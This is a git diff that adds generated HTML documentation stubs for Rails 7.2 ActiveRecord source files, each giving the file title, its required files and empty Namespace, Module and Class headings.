diff --git a/src/7.2/files/activerecord/lib/active_record/relation/batches_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/batches_rb.html new file mode 100644 index 0000000000..9da567c2c6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/batches_rb.html @@ -0,0 +1,80 @@ +--- +title: batches.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/relation/batches/batch_enumerator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/calculations_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/calculations_rb.html new file mode 100644 index 0000000000..065f13df65 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/calculations_rb.html @@ -0,0 +1,91 @@ +--- +title: calculations.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/delegation_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/delegation_rb.html new file mode 100644 index 0000000000..14014fc679 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/delegation_rb.html @@ -0,0 +1,82 @@ +--- +title: delegation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/finder_methods_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/finder_methods_rb.html new file mode 100644 index 0000000000..18e964e194 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/finder_methods_rb.html @@ -0,0 +1,82 @@ +--- +title: finder_methods.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/filters
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/from_clause_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/from_clause_rb.html new file mode 100644 index 0000000000..a971a9322b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/from_clause_rb.html @@ -0,0 +1,77 @@ +--- +title: from_clause.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/merger_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/merger_rb.html new file mode 100644 index 0000000000..5c3b641214 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/merger_rb.html @@ -0,0 +1,87 @@ +--- +title: merger.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/keys
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/array_handler_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/array_handler_rb.html new file mode 100644 index 0000000000..bfd14a9ab1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/array_handler_rb.html @@ -0,0 +1,80 @@ +--- +title: array_handler.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/association_query_value_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/association_query_value_rb.html new file mode 100644 index 0000000000..9c42a166cb --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/association_query_value_rb.html @@ -0,0 +1,70 @@ +--- +title: association_query_value.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler_rb.html new file mode 100644 index 0000000000..30b0f36a73 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler_rb.html @@ -0,0 +1,70 @@ +--- +title: basic_object_handler.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value_rb.html new file mode 100644 index 0000000000..886f2872f2 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value_rb.html @@ -0,0 +1,70 @@ +--- +title: polymorphic_array_value.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/range_handler_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/range_handler_rb.html new file mode 100644 index 0000000000..c52f9f5099 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/range_handler_rb.html @@ -0,0 +1,70 @@ +--- +title: range_handler.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/relation_handler_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/relation_handler_rb.html new file mode 100644 index 0000000000..3a0850bb5d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder/relation_handler_rb.html @@ -0,0 +1,70 @@ +--- +title: relation_handler.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder_rb.html new file mode 100644 index 0000000000..7c68443cb1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/predicate_builder_rb.html @@ -0,0 +1,97 @@ +--- +title: predicate_builder.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/relation/predicate_builder/array_handler
  • + +
  • active_record/relation/predicate_builder/basic_object_handler
  • + +
  • active_record/relation/predicate_builder/range_handler
  • + +
  • active_record/relation/predicate_builder/relation_handler
  • + +
  • active_record/relation/predicate_builder/association_query_value
  • + +
  • active_record/relation/predicate_builder/polymorphic_array_value
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/query_attribute_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/query_attribute_rb.html new file mode 100644 index 0000000000..c215a79d65 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/query_attribute_rb.html @@ -0,0 +1,85 @@ +--- +title: query_attribute.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/attribute
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/query_methods_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/query_methods_rb.html new file mode 100644 index 0000000000..bbe8be8a9c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/query_methods_rb.html @@ -0,0 +1,101 @@ +--- +title: query_methods.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/relation/from_clause
  • + +
  • active_record/relation/query_attribute
  • + +
  • active_record/relation/where_clause
  • + +
  • active_support/core_ext/array/wrap
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/files/activerecord/lib/active_record/relation/record_fetch_warning_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/record_fetch_warning_rb.html similarity index 100% rename from src/files/activerecord/lib/active_record/relation/record_fetch_warning_rb.html rename to src/7.2/files/activerecord/lib/active_record/relation/record_fetch_warning_rb.html diff --git a/src/7.2/files/activerecord/lib/active_record/relation/spawn_methods_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/spawn_methods_rb.html new file mode 100644 index 0000000000..2a937c44f7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/spawn_methods_rb.html @@ -0,0 +1,91 @@ +--- +title: spawn_methods.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/except
  • + +
  • active_support/core_ext/hash/slice
  • + +
  • active_record/relation/merger
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/where_clause_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/where_clause_rb.html new file mode 100644 index 0000000000..0c26cf3be0 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/where_clause_rb.html @@ -0,0 +1,87 @@ +--- +title: where_clause.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation_rb.html b/src/7.2/files/activerecord/lib/active_record/relation_rb.html new file mode 100644 index 0000000000..c289af3c68 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation_rb.html @@ -0,0 +1,83 @@ +--- +title: relation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/result_rb.html b/src/7.2/files/activerecord/lib/active_record/result_rb.html new file mode 100644 index 0000000000..27b44bf047 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/result_rb.html @@ -0,0 +1,77 @@ +--- +title: result.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/runtime_registry_rb.html b/src/7.2/files/activerecord/lib/active_record/runtime_registry_rb.html new file mode 100644 index 0000000000..bc3dff6669 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/runtime_registry_rb.html @@ -0,0 +1,72 @@ +--- +title: runtime_registry.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/sanitization_rb.html b/src/7.2/files/activerecord/lib/active_record/sanitization_rb.html new file mode 100644 index 0000000000..7c3beeacdf --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/sanitization_rb.html @@ -0,0 +1,74 @@ +--- +title: sanitization.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/schema_dumper_rb.html b/src/7.2/files/activerecord/lib/active_record/schema_dumper_rb.html new file mode 100644 index 0000000000..20a41de56d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/schema_dumper_rb.html @@ -0,0 +1,78 @@ +--- +title: schema_dumper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • stringio
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/schema_migration_rb.html b/src/7.2/files/activerecord/lib/active_record/schema_migration_rb.html new file mode 100644 index 0000000000..ab1bd04b47 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/schema_migration_rb.html @@ -0,0 +1,72 @@ +--- +title: schema_migration.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/schema_rb.html b/src/7.2/files/activerecord/lib/active_record/schema_rb.html new file mode 100644 index 0000000000..50fbabc92a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/schema_rb.html @@ -0,0 +1,83 @@ +--- +title: schema.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/scoping/default_rb.html b/src/7.2/files/activerecord/lib/active_record/scoping/default_rb.html new file mode 100644 index 0000000000..33a36a24ea --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/scoping/default_rb.html @@ -0,0 +1,76 @@ +--- +title: default.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/scoping/named_rb.html b/src/7.2/files/activerecord/lib/active_record/scoping/named_rb.html new file mode 100644 index 0000000000..96ea8cae75 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/scoping/named_rb.html @@ -0,0 +1,76 @@ +--- +title: named.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/scoping_rb.html b/src/7.2/files/activerecord/lib/active_record/scoping_rb.html new file mode 100644 index 0000000000..1adc0d16b5 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/scoping_rb.html @@ -0,0 +1,82 @@ +--- +title: scoping.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/secure_password_rb.html b/src/7.2/files/activerecord/lib/active_record/secure_password_rb.html new file mode 100644 index 0000000000..9068a13078 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/secure_password_rb.html @@ -0,0 +1,74 @@ +--- +title: secure_password.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/secure_token_rb.html b/src/7.2/files/activerecord/lib/active_record/secure_token_rb.html new file mode 100644 index 0000000000..c3ee51a778 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/secure_token_rb.html @@ -0,0 +1,89 @@ +--- +title: secure_token.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/securerandom
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/serialization_rb.html b/src/7.2/files/activerecord/lib/active_record/serialization_rb.html new file mode 100644 index 0000000000..4973378ae2 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/serialization_rb.html @@ -0,0 +1,72 @@ +--- +title: serialization.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/signed_id_rb.html b/src/7.2/files/activerecord/lib/active_record/signed_id_rb.html new file mode 100644 index 0000000000..bd54413c28 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/signed_id_rb.html @@ -0,0 +1,76 @@ +--- +title: signed_id.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/statement_cache_rb.html b/src/7.2/files/activerecord/lib/active_record/statement_cache_rb.html new file mode 100644 index 0000000000..d32a235b25 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/statement_cache_rb.html @@ -0,0 +1,81 @@ +--- +title: statement_cache.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/store_rb.html b/src/7.2/files/activerecord/lib/active_record/store_rb.html new file mode 100644 index 0000000000..ebe9fb6eb8 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/store_rb.html @@ -0,0 +1,86 @@ +--- +title: store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/suppressor_rb.html b/src/7.2/files/activerecord/lib/active_record/suppressor_rb.html new file mode 100644 index 0000000000..7bddbf93b4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/suppressor_rb.html @@ -0,0 +1,76 @@ +--- +title: suppressor.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/table_metadata_rb.html b/src/7.2/files/activerecord/lib/active_record/table_metadata_rb.html new file mode 100644 index 0000000000..0df572a355 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/table_metadata_rb.html @@ -0,0 +1,72 @@ +--- +title: table_metadata.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/tasks/database_tasks_rb.html b/src/7.2/files/activerecord/lib/active_record/tasks/database_tasks_rb.html new file mode 100644 index 0000000000..028524e352 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/tasks/database_tasks_rb.html @@ -0,0 +1,93 @@ +--- +title: database_tasks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/database_configurations
  • + +
  • active_record/schema_dumper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/tasks/mysql_database_tasks_rb.html b/src/7.2/files/activerecord/lib/active_record/tasks/mysql_database_tasks_rb.html new file mode 100644 index 0000000000..b281d5c0b1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/tasks/mysql_database_tasks_rb.html @@ -0,0 +1,72 @@ +--- +title: mysql_database_tasks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/tasks/postgresql_database_tasks_rb.html b/src/7.2/files/activerecord/lib/active_record/tasks/postgresql_database_tasks_rb.html new file mode 100644 index 0000000000..0626dc618e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/tasks/postgresql_database_tasks_rb.html @@ -0,0 +1,80 @@ +--- +title: postgresql_database_tasks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • tempfile
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/tasks/sqlite_database_tasks_rb.html b/src/7.2/files/activerecord/lib/active_record/tasks/sqlite_database_tasks_rb.html new file mode 100644 index 0000000000..6897c52123 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/tasks/sqlite_database_tasks_rb.html @@ -0,0 +1,72 @@ +--- +title: sqlite_database_tasks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/test_databases_rb.html b/src/7.2/files/activerecord/lib/active_record/test_databases_rb.html new file mode 100644 index 0000000000..d09b84d9b4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/test_databases_rb.html @@ -0,0 +1,84 @@ +--- +title: test_databases.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/testing/parallelization
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/test_fixtures_rb.html b/src/7.2/files/activerecord/lib/active_record/test_fixtures_rb.html new file mode 100644 index 0000000000..d092a613ae --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/test_fixtures_rb.html @@ -0,0 +1,84 @@ +--- +title: test_fixtures.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/testing/query_assertions_rb.html b/src/7.2/files/activerecord/lib/active_record/testing/query_assertions_rb.html new file mode 100644 index 0000000000..fcd5ad4ba4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/testing/query_assertions_rb.html @@ -0,0 +1,76 @@ +--- +title: query_assertions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/timestamp_rb.html b/src/7.2/files/activerecord/lib/active_record/timestamp_rb.html new file mode 100644 index 0000000000..14ffd62791 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/timestamp_rb.html @@ -0,0 +1,72 @@ +--- +title: timestamp.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/token_for_rb.html b/src/7.2/files/activerecord/lib/active_record/token_for_rb.html new file mode 100644 index 0000000000..9452ab27e6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/token_for_rb.html @@ -0,0 +1,86 @@ +--- +title: token_for.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/json
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/touch_later_rb.html b/src/7.2/files/activerecord/lib/active_record/touch_later_rb.html new file mode 100644 index 0000000000..e73c1f398c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/touch_later_rb.html @@ -0,0 +1,72 @@ +--- +title: touch_later.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/transaction_rb.html b/src/7.2/files/activerecord/lib/active_record/transaction_rb.html new file mode 100644 index 0000000000..d9154caaee --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/transaction_rb.html @@ -0,0 +1,87 @@ +--- +title: transaction.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/digest
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/transactions_rb.html b/src/7.2/files/activerecord/lib/active_record/transactions_rb.html new file mode 100644 index 0000000000..688c75d91e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/transactions_rb.html @@ -0,0 +1,81 @@ +--- +title: transactions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/translation_rb.html b/src/7.2/files/activerecord/lib/active_record/translation_rb.html new file mode 100644 index 0000000000..d42c52734f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/translation_rb.html @@ -0,0 +1,72 @@ +--- +title: translation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/adapter_specific_registry_rb.html b/src/7.2/files/activerecord/lib/active_record/type/adapter_specific_registry_rb.html new file mode 100644 index 0000000000..ece6fadbc4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/adapter_specific_registry_rb.html @@ -0,0 +1,72 @@ +--- +title: adapter_specific_registry.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/date_rb.html b/src/7.2/files/activerecord/lib/active_record/type/date_rb.html new file mode 100644 index 0000000000..72a4dad76e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/date_rb.html @@ -0,0 +1,79 @@ +--- +title: date.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/date_time_rb.html b/src/7.2/files/activerecord/lib/active_record/type/date_time_rb.html new file mode 100644 index 0000000000..6657eba791 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/date_time_rb.html @@ -0,0 +1,79 @@ +--- +title: date_time.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/decimal_without_scale_rb.html b/src/7.2/files/activerecord/lib/active_record/type/decimal_without_scale_rb.html new file mode 100644 index 0000000000..173336f2b1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/decimal_without_scale_rb.html @@ -0,0 +1,72 @@ +--- +title: decimal_without_scale.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/hash_lookup_type_map_rb.html b/src/7.2/files/activerecord/lib/active_record/type/hash_lookup_type_map_rb.html new file mode 100644 index 0000000000..ec00607ad6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/hash_lookup_type_map_rb.html @@ -0,0 +1,72 @@ +--- +title: hash_lookup_type_map.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/internal/timezone_rb.html b/src/7.2/files/activerecord/lib/active_record/type/internal/timezone_rb.html new file mode 100644 index 0000000000..c1314b295a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/internal/timezone_rb.html @@ -0,0 +1,76 @@ +--- +title: timezone.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/json_rb.html b/src/7.2/files/activerecord/lib/active_record/type/json_rb.html new file mode 100644 index 0000000000..2d95e66bcd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/json_rb.html @@ -0,0 +1,83 @@ +--- +title: json.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/serialized_rb.html b/src/7.2/files/activerecord/lib/active_record/type/serialized_rb.html new file mode 100644 index 0000000000..864da13c71 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/serialized_rb.html @@ -0,0 +1,85 @@ +--- +title: serialized.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
